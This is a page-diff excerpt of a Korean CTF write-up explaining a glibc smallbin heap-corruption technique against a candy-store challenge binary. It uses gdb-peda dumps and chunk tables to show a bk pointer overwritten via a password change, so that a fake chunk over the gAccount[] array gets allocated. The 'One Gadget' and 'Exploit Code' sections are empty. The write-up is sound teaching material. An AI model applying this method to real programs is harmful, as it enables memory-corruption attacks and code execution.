Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
gdb-peda$ x/6gx 0x0000000002593b90
0xA17B90:	0x0000000000000000	0x0000000000000091
0xa17ba0:	0x4141414141414141	0x4141414141414141
0xa17bb0:	0x4141414141414141	0x0000000000000000
gdb-peda$ 
Panel

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x20NoneNone
Order list[0]0xa17600

A

0x20NoneNone
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

None

None

창고에 저장된 1번 사탕 정보

0xa176b0

F0x200x0None
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
창고에 저장된 1번 사탕 설명0xA17B90A0x90

None

None
gAccount[2].fd0xA17c20A0x90NoneNone
  • 다음과 같이 1번 사탕을 구매하여 0xA17B90 영역이 Smallbin에 등록되도록 합니다.

    • 0xA17B90 영역이 Smallbin[16], [17]에 등록되었습니다.

Code Block
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0xa17000            0x0                 0x90                 Used                None              None
0xa17090            0x0                 0x410                Used                None              None
0xa174a0            0x0                 0x20                 Used                None              None
0xa174c0            0x0                 0x20                 Used                None              None
0xa174e0            0x0                 0x20                 Used                None              None
0xa17500            0x0                 0x20                 Used                None              None
0xa17520            0x0                 0x20                 Used                None              None
0xa17540            0x0                 0x20                 Used                None              None
0xa17560            0x0                 0x20                 Used                None              None
0xa17580            0x0                 0x20                 Used                None              None
0xa175a0            0x0                 0x20                 Used                None              None
0xa175c0            0x0                 0x20                 Used                None              None
0xa175e0            0x0                 0x20                 Used                None              None
0xa17600            0xa17630         	0x20                 Freed     0x7ff5052a2b88    	   0xa176b0
0xa17620            0x100006567         0x90                 Used      			 None    		   None
0xa176b0            0x90                0x20                 Freed           0xa17600    0x7ff5052a2b88
0xa176d0            0x100006567         0x4c0                Used                None              None
0xa17b90            0x0			        0x90                 Freed     0x7ff5052a2bf8	 0x7ff5052a2bf8
0xa17c20            0x90         		0x90                 Used                None              None
0xa17cb0            0x90         		0x4c0                Used                None              None
gdb-peda$ p main_arena.bins[16]
$1 = (mchunkptr) 0xa17b90
gdb-peda$ p main_arena.bins[17]
$2 = (mchunkptr) 0xa17b90
gdb-peda$ 
Panel

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x20NoneNone
Order list[0]0xa17600

A

0x200x7ff5052a2b880xa176b0
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

None

None

창고에 저장된 1번 사탕 정보

0xa176b0

F0x200xa176b00x7ff5052a2b88
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
창고에 저장된 1번 사탕 설명0xA17B90A0x90

0x7ff5052a2bf8

0x7ff5052a2bf8
gAccount[2].fd0xA17c20A0x90NoneNone
구매한 사탕 평가

0xa17cb0

A0x4c0NoneNone
  • 다음과 같이 2번 계정의 비밀번호 변경을 통해 bk영역의 값을 계속 변경 할 수있습니다.
    • bk 영역에 첫번째 Fake chunk 의 시작 주소를 저장하였습니다.

...

  • 다음과 같은 방법으로 main_arena.bins[17] 영역에 gAccount[1]의 주소 값을 저장 할 수 있습니다.
    • 공격자는 Order list에 사탕을 추가하고, 주문을 완료합니다.
Code Block
gdb-peda$ p main_arena.bins[16]
$3 = (mchunkptr) 0xA17B90
gdb-peda$ p main_arena.bins[17]
$4 = (mchunkptr) 0x604240
gdb-peda$ 
  • 다음과 같이 gAccount[] 영역을 할당 받을 수 있습니다.


Code Block



One Gadget



Panel

Exploit Code

...